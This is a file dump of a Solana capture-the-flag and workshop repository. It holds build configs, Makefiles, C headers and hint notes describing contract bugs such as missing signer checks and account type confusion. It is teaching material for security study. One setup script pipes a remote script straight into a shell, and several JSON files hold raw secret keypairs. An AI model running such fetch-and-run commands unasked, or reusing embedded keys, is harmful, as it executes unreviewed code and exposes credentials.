├── solfire ├── .dockerignore ├── .gitignore ├── solfire.so ├── Cargo.toml └── Dockerfile ├── moar-horse-5 ├── challenge │ ├── flag.txt │ ├── moar_horse.so │ ├── moar-horse-server │ └── Dockerfile ├── program │ ├── Makefile │ ├── Cargo.toml │ └── src │ │ ├── entrypoint.rs │ │ └── lib.rs └── server │ ├── Makefile │ ├── Cargo.toml │ └── src │ └── main.rs ├── pool └── client │ ├── framework │ ├── .gitignore │ ├── chall │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Xargo.toml │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ └── pool.rs │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── tsconfig.json │ │ ├── Cargo.toml │ │ ├── Anchor.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ └── tests │ │ │ └── challenge.ts │ ├── .dockerignore │ ├── .cargo │ │ └── config.toml │ ├── Dockerfile │ └── Cargo.toml │ ├── framework-solve │ ├── .gitignore │ ├── solve │ │ ├── Cargo.toml │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Xargo.toml │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── tsconfig.json │ │ ├── Anchor.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ └── tests │ │ │ └── solve.ts │ ├── Cargo.toml │ └── test.js │ ├── setup.sh │ └── run.sh ├── allesctf21 ├── bugchain │ ├── deploy │ │ ├── setup │ │ │ ├── .gitignore │ │ │ ├── keys │ │ │ │ └── rich-boi.json │ │ │ ├── src │ │ │ │ └── bin │ │ │ │ │ └── generate_ledger.rs │ │ │ └── Cargo.toml │ │ ├── flag-program │ │ │ ├── Cargo.toml │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── Dockerfile │ │ └── vuln.patch │ ├── solution │ │ └── author │ │ │ ├── program │ │ │ ├── Xargo.toml │ │ │ ├── Cargo.toml │ │ │ └── src │ │ │ │ └── lib.rs │ │ │ ├── rich-boi.json │ │ │ └── Cargo.toml │ ├── public │ │ ├── bugchain.zip │ │ └── Dockerfile │ ├── zip.sh │ └── bugchain.cue ├── legit-bank │ ├── deploy │ │ ├── .gitignore │ │ ├── Cargo.toml │ │ ├── program │ │ │ ├── Xargo.toml │ │ │ └── Cargo.toml │ │ ├── keys │ │ │ ├── rich-boi.json │ │ │ ├── bank-manager.json │ │ │ └── flag-depot.json │ │ ├── flag-program │ │ │ ├── Cargo.toml │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── cli │ │ │ └── Cargo.toml │ │ └── Dockerfile │ ├── .gitignore │ ├── .dockerignore │ ├── solution │ │ ├── sintemal │ │ │ ├── Cargo.toml │ │ │ ├── bank_initializer │ │ │ │ ├── Xargo.toml │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── solve.sh │ │ │ └── solution │ │ │ │ └── Cargo.toml │ │ └── author │ │ │ ├── rich-boi.json │ │ │ ├── Cargo.toml │ │ │ └── writeup.md │ ├── public │ │ ├── legit-bank.zip │ │ ├── keys │ │ │ ├── bank-manager.json │ │ │ ├── flag-depot.json │ │ │ └── rich-boi.json │ │ └── Dockerfile │ ├── zip.sh │ └── legit-bank.cue └── secret-store │ ├── deploy │ ├── .gitignore │ ├── .dockerignore │ ├── Cargo.toml │ ├── program │ │ ├── Xargo.toml │ │ ├── Cargo.toml │ │ └── src │ │ │ └── lib.rs │ ├── keys │ │ ├── rich-boi.json │ │ └── flag-depot.json │ ├── flag-program │ │ ├── Cargo.toml │ │ └── src │ │ │ └── lib.rs │ ├── cli │ │ └── Cargo.toml │ └── Dockerfile │ ├── public │ ├── secret-store.zip │ ├── keys │ │ ├── rich-boi.json │ │ └── flag-depot.json │ └── Dockerfile │ ├── zip.sh │ ├── solution │ ├── tobi.md │ └── author │ │ └── Solution.md │ └── secret-store.cue ├── cashio-exploit-workshop ├── .gitignore ├── Cargo.toml ├── .gitmodules ├── dep-programs │ ├── stable-swap.so │ ├── arrow_sunny-0.3.1.so │ └── crate-token-0.6.0.so ├── Makefile ├── brrr-shim │ └── Cargo.toml ├── poc │ └── Cargo.toml └── README.md ├── darksols ├── darksols │ ├── .dockerignore │ ├── spl-token │ │ ├── program-id.md │ │ ├── Xargo.toml │ │ ├── src │ │ │ ├── entrypoint.rs │ │ │ ├── native_mint.rs │ │ │ ├── lib.rs │ │ │ └── error.rs │ │ ├── .cargo-checksum.json │ │ └── Cargo.toml │ ├── darksols.so │ ├── evil-contract.so │ ├── Dockerfile │ └── Cargo.toml ├── evil-contract │ ├── src │ │ ├── shared │ │ │ ├── program.h │ │ │ ├── clock.h │ │ │ └── test.h │ │ └── evil-contract │ │ │ └── evil-contract.c │ └── Makefile └── programs │ ├── src │ └── shared │ │ ├── clock.h │ │ └── test.h │ └── Makefile ├── league-of-lamports ├── LeagueOfLamports │ ├── .dockerignore │ ├── leagueoflamports.so │ ├── Cargo.toml │ └── Dockerfile ├── solution_template │ ├── solution │ │ ├── dist │ │ │ ├── solution.so │ │ │ ├── solution │ │ │ │ └── solution.o │ │ │ └── solution-keypair.json │ │ ├── Makefile │ │ └── src │ │ │ ├── shared │ │ │ ├── clock.h │ │ │ ├── program.h │ │ │ └── test.h │ │ │ └── solution │ │ │ └── solution.c │ ├── Dockerfile │ ├── run.sh │ └── solve.py └── programs │ ├── src │ └── shared │ │ ├── clock.h │ │ ├── program.h │ │ └── test.h │ └── Makefile ├── HalbornCTF_Rust_Solana ├── ctf │ ├── src │ │ ├── constant.rs │ │ ├── state.rs │ │ ├── error.rs │ │ ├── lib.rs │ │ └── instruction.rs │ ├── Xargo.toml │ └── Cargo.toml └── README.md ├── neodyme-breakpoint-workshop ├── docs │ ├── solana.md │ ├── level2-hint1.md │ ├── level1-hint1.md │ ├── level1-hint2.md │ ├── level2-hint2.md │ ├── level4-hint3.md │ ├── legal-notice.md │ ├── level3-hint1.md │ ├── level4-bug.md │ ├── level1-bug.md │ ├── level3-hint2.md │ ├── Presentation_neodyme.pdf │ ├── level2.md │ ├── level4-hint2.md │ ├── level3-bug.md │ ├── level2-bug.md │ ├── resources.md │ ├── level3.md │ ├── level4.md │ ├── level1.md │ ├── level0.md │ ├── level4-hint1.md │ ├── SUMMARY.md │ ├── workshop.md │ ├── level1-solution.md │ ├── level0-solution.md │ ├── README.md │ ├── poc_framework.md │ ├── level4-solution.md │ └── level3-solution.md ├── .vscode │ ├── settings.json │ └── tasks.json ├── level0 │ ├── Xargo.toml │ └── Cargo.toml ├── level1 │ ├── Xargo.toml │ ├── Cargo.toml │ └── src │ │ ├── lib.rs │ │ └── processor.rs ├── level2 │ ├── Xargo.toml │ ├── Cargo.toml │ └── src │ │ └── lib.rs ├── level3 │ ├── Xargo.toml │ └── Cargo.toml ├── level4 │ ├── Xargo.toml │ ├── vendored-spl-token-3.1.0 │ │ ├── program-id.md │ │ ├── Xargo.toml │ │ ├── src │ │ │ ├── entrypoint.rs │ │ │ ├── native_mint.rs │ │ │ ├── lib.rs │ │ │ └── error.rs │ │ ├── .cargo-checksum.json │ │ └── Cargo.toml │ └── Cargo.toml ├── .dockerignore ├── level4-poc-contract │ ├── Xargo.toml │ ├── Cargo.toml │ └── src │ │ └── lib.rs ├── build-images.sh ├── Cargo.toml ├── Dockerfile.prebuilt ├── .gitignore ├── README.md ├── book.toml ├── pocs │ ├── src │ │ └── lib.rs │ └── Cargo.toml ├── .gitlab-ci.yml └── Dockerfile ├── solhana-ctf ├── chain │ ├── Cargo.toml │ ├── programs │ │ ├── challenge1 │ │ │ ├── Xargo.toml │ │ │ └── Cargo.toml │ │ ├── challenge2 │ │ │ ├── Xargo.toml │ │ │ └── Cargo.toml │ │ └── challenge3 │ │ │ ├── Xargo.toml │ │ │ └── Cargo.toml │ ├── Anchor.toml │ └── migrations │ │ └── deploy.ts ├── elf │ ├── challenge1.so │ ├── challenge2.so │ └── challenge3.so ├── client │ ├── create-player.js │ ├── package.json │ ├── challenge1.js │ ├── challenge2.js │ ├── challenge3.js │ ├── util.js │ └── api.js ├── keys │ ├── challenge1.json │ ├── challenge3.json │ ├── lido_eth.json │ ├── master.json │ ├── sollet_eth.json │ ├── wormhole_eth.json │ └── challenge2.json ├── server │ ├── Cargo.toml │ └── src │ │ └── bin │ │ └── setup_chain.rs └── Dockerfile └── README.md /solfire/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /solfire/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /moar-horse-5/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | flag{fake_flag} -------------------------------------------------------------------------------- /pool/client/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/setup/.gitignore: -------------------------------------------------------------------------------- 1 | ledger/ -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/.gitignore: -------------------------------------------------------------------------------- 1 | ledger/ 2 | -------------------------------------------------------------------------------- /pool/client/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | test-ledger/ -------------------------------------------------------------------------------- /cashio-exploit-workshop/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | *.swp 3 | -------------------------------------------------------------------------------- /darksols/darksols/.dockerignore: -------------------------------------------------------------------------------- 1 | **/target 2 | **/dist 3 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/.dockerignore: -------------------------------------------------------------------------------- 1 | target/ 2 | setup/ledger/ -------------------------------------------------------------------------------- /league-of-lamports/LeagueOfLamports/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/.gitignore: -------------------------------------------------------------------------------- 1 | ledger/ 2 | target 3 | -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/src/constant.rs: -------------------------------------------------------------------------------- 1 | pub const FARM_FEE:u64 = 5000; -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | ledger 3 | 4 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/solana.md: -------------------------------------------------------------------------------- 1 | # Background on Solana 2 | -------------------------------------------------------------------------------- /pool/client/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /solhana-ctf/chain/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /darksols/darksols/spl-token/program-id.md: -------------------------------------------------------------------------------- 1 | TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA 2 | -------------------------------------------------------------------------------- /pool/client/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /solfire/solfire.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/solfire/solfire.so -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /darksols/darksols/spl-token/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level2-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Huge numbers make huge problems. 4 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = ["program", "cli", "flag-program"] 3 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = ["program", "cli", "flag-program"] 3 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "brrr-shim", 4 | "poc", 5 | ] 6 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "rust-analyzer.cargo.features": [ 3 | ] 4 | } -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level1-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Look closely at the `withdraw` function. -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level1-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | How is the authority’s identity checked? -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/program/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = ["bank_initializer", "solution"] 3 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/program/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /darksols/darksols/darksols.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/darksols/darksols/darksols.so -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level0/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level1/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level2/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level3/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge1/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge2/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge3/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /solhana-ctf/elf/challenge1.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/solhana-ctf/elf/challenge1.so -------------------------------------------------------------------------------- /solhana-ctf/elf/challenge2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/solhana-ctf/elf/challenge2.so -------------------------------------------------------------------------------- /solhana-ctf/elf/challenge3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/solhana-ctf/elf/challenge3.so -------------------------------------------------------------------------------- /allesctf21/bugchain/solution/author/program/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level2-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | How could you turn the source into the destination? 4 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/program-id.md: -------------------------------------------------------------------------------- 1 | TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA 2 | -------------------------------------------------------------------------------- /pool/client/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /darksols/darksols/evil-contract.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/darksols/darksols/evil-contract.so -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | .gitignore 3 | README.md 4 | Dockerfile 5 | Dockerfile.prebuilt 6 | .git -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4-poc-contract/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/bank_initializer/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /cashio-exploit-workshop/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "cashio"] 2 | path = cashio 3 | url = https://github.com/cashioapp/cashio.git 4 | -------------------------------------------------------------------------------- /moar-horse-5/challenge/moar_horse.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/moar-horse-5/challenge/moar_horse.so -------------------------------------------------------------------------------- /moar-horse-5/program/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | cargo build-bpf 4 | cp ./target/deploy/moar_horse.so ../challenge 5 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4-hint3.md: -------------------------------------------------------------------------------- 1 | # Hint 3 2 | 3 | Cross-program invocations are complex, what things can you control? -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /pool/client/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /allesctf21/bugchain/public/bugchain.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/allesctf21/bugchain/public/bugchain.zip -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /pool/client/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .idea 4 | .DS_Store 5 | target 6 | **/*.rs.bk 7 | node_modules 8 | test-ledger 9 | -------------------------------------------------------------------------------- /pool/client/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /moar-horse-5/challenge/moar-horse-server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/moar-horse-5/challenge/moar-horse-server -------------------------------------------------------------------------------- /moar-horse-5/server/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | cargo build --release 4 | cp ./target/release/moar-horse-server ../challenge 5 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/legal-notice.md: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/public/legit-bank.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/allesctf21/legit-bank/public/legit-bank.zip -------------------------------------------------------------------------------- /allesctf21/secret-store/public/secret-store.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/allesctf21/secret-store/public/secret-store.zip -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level3-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | How do Program-Derived-Addresses (PDAs) work? How is the `u8` bump-seed related to this? 3 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The program allows you to control which program is invoked during withdraw. Can you exploit this? -------------------------------------------------------------------------------- /pool/client/framework/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [target.x86_64-unknown-linux-gnu] 2 | linker = "clang" 3 | rustflags = ["-C", "link-arg=-fuse-ld=/usr/bin/mold"] 4 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/dep-programs/stable-swap.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/cashio-exploit-workshop/dep-programs/stable-swap.so -------------------------------------------------------------------------------- /darksols/evil-contract/src/shared/program.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint64_t amount; 3 | } transfer; 4 | 5 | #define CREATE_ACCOUNT 0 6 | #define TRANSFER 2 7 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level1-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The `withdraw` function does not check that the `authority` has signed. Now, can you exploit this? -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level3-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | The checks in this contract are quite strict, would be a shame if you could mix up vaults and pools. 3 | -------------------------------------------------------------------------------- /solhana-ctf/client/create-player.js: -------------------------------------------------------------------------------- 1 | import * as api from "./api.js"; 2 | 3 | console.log("creating player..."); 4 | const accounts = await api.createPlayer(); 5 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/dep-programs/arrow_sunny-0.3.1.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/cashio-exploit-workshop/dep-programs/arrow_sunny-0.3.1.so -------------------------------------------------------------------------------- /cashio-exploit-workshop/dep-programs/crate-token-0.6.0.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/cashio-exploit-workshop/dep-programs/crate-token-0.6.0.so -------------------------------------------------------------------------------- /league-of-lamports/LeagueOfLamports/leagueoflamports.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/league-of-lamports/LeagueOfLamports/leagueoflamports.so -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/Presentation_neodyme.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/neodyme-breakpoint-workshop/docs/Presentation_neodyme.pdf -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/dist/solution.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/league-of-lamports/solution_template/solution/dist/solution.so -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/build-images.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | docker build -t breakpoint:latest . 3 | docker build -f Dockerfile.prebuilt -t breakpoint:latest-prebuilt . 4 | -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/README.md: -------------------------------------------------------------------------------- 1 | # Solana CTF 2 | 3 | Here, you will find the Solana CTF. 4 | 5 | It is mandatory to provide a PoC (Proof of Concept) to verify that the findings are vulnerable. 6 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/dist/solution/solution.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/solana-ctf/HEAD/league-of-lamports/solution_template/solution/dist/solution/solution.o -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "level0", 4 | "level1", 5 | "level2", 6 | "level3", 7 | "pocs", 8 | "level4-poc-contract" 9 | ] 10 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level2.md: -------------------------------------------------------------------------------- 1 | # Level 2 - Secure Personal Vault 2 | 3 | Now that this missing signer check is fixed, the contract looks really secure... but I wonder, if you can still break it? -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | You need to write your own contract to exploit this bug. We've already prepared a skeleton for you at the path `level4-poc-contract`. 4 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/Dockerfile.prebuilt: -------------------------------------------------------------------------------- 1 | FROM breakpoint:latest 2 | 3 | RUN cargo build-bpf 4 | RUN cargo build --workspace --bins 5 | 6 | # cargo run --bin 7 | CMD while :; do :; done & kill -STOP $! && wait $! -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level3-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The `Vault` struct can be deserialized into a `TipPool` struct and only the owner of the accounts gets checked in the `withdraw` function. 4 | 5 | How can you exploit this? -------------------------------------------------------------------------------- /darksols/programs/src/shared/clock.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint64_t slot; 3 | uint64_t epoch_start_timestamp; 4 | uint64_t epoch; 5 | uint64_t leader_schedule_epoch; 6 | uint64_t unix_timestamp; 7 | } Clock; 8 | 9 | 10 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/Makefile: -------------------------------------------------------------------------------- 1 | OUT_DIR := ./dist/ 2 | SOLANA_TOOLS = $(shell dirname $(shell which cargo-build-bpf)) 3 | include $(SOLANA_TOOLS)/sdk/bpf/c/bpf.mk 4 | 5 | build: 6 | touch src/*/* 7 | make solution 8 | -------------------------------------------------------------------------------- /darksols/evil-contract/src/shared/clock.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint64_t slot; 3 | uint64_t epoch_start_timestamp; 4 | uint64_t epoch; 5 | uint64_t leader_schedule_epoch; 6 | uint64_t unix_timestamp; 7 | } Clock; 8 | 9 | 10 | -------------------------------------------------------------------------------- /darksols/programs/Makefile: -------------------------------------------------------------------------------- 1 | OUT_DIR := ./dist/ 2 | SOLANA_TOOLS = $(shell dirname $(shell which cargo-build-bpf)) 3 | include $(SOLANA_TOOLS)/sdk/bpf/c/bpf.mk 4 | 5 | build: 6 | touch src/*/* 7 | make darksols 8 | cp dist/darksols.so ../darksols 9 | -------------------------------------------------------------------------------- /league-of-lamports/programs/src/shared/clock.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint64_t slot; 3 | uint64_t epoch_start_timestamp; 4 | uint64_t epoch; 5 | uint64_t leader_schedule_epoch; 6 | uint64_t unix_timestamp; 7 | } Clock; 8 | 9 | 10 | -------------------------------------------------------------------------------- /solhana-ctf/keys/challenge1.json: -------------------------------------------------------------------------------- 1 | [162,47,13,239,33,24,9,228,150,0,180,44,106,132,115,179,3,245,188,36,103,12,229,112,209,71,117,200,42,73,182,81,124,83,23,122,167,233,172,38,6,168,118,137,74,98,248,12,177,230,28,207,136,123,58,193,222,1,0,145,152,13,113,228] -------------------------------------------------------------------------------- /solhana-ctf/keys/challenge3.json: -------------------------------------------------------------------------------- 1 | [246,9,180,66,135,184,208,110,206,78,231,107,207,52,130,102,160,77,165,36,64,111,222,251,249,128,74,58,14,35,115,53,230,173,68,178,215,34,27,202,71,3,193,126,9,216,83,122,176,58,26,45,209,32,54,54,135,14,219,3,202,4,36,123] -------------------------------------------------------------------------------- /solhana-ctf/keys/lido_eth.json: -------------------------------------------------------------------------------- 1 | [59,39,84,181,51,207,84,183,21,139,231,205,30,32,18,79,139,202,35,192,53,91,45,12,108,234,142,130,202,78,167,108,122,221,69,8,174,78,144,0,9,90,245,20,104,173,250,161,135,169,83,122,70,221,133,194,11,82,128,138,6,131,45,190] -------------------------------------------------------------------------------- /solhana-ctf/keys/master.json: -------------------------------------------------------------------------------- 1 | [82,113,81,61,197,203,152,132,249,179,214,37,67,251,131,118,226,21,76,206,61,138,218,89,10,235,173,232,49,16,95,0,225,191,195,101,167,124,161,5,5,127,97,115,38,35,47,15,26,120,131,120,197,144,149,230,98,236,101,46,167,32,45,98] -------------------------------------------------------------------------------- /solhana-ctf/keys/sollet_eth.json: -------------------------------------------------------------------------------- 1 | [1,30,237,149,254,97,154,121,231,90,142,86,149,53,146,34,226,154,11,207,163,213,245,146,220,247,48,93,245,130,8,31,157,108,36,21,42,231,79,234,227,128,99,216,210,40,99,91,216,221,14,24,194,24,66,204,61,132,217,141,171,0,80,250] -------------------------------------------------------------------------------- /solhana-ctf/keys/wormhole_eth.json: -------------------------------------------------------------------------------- 1 | 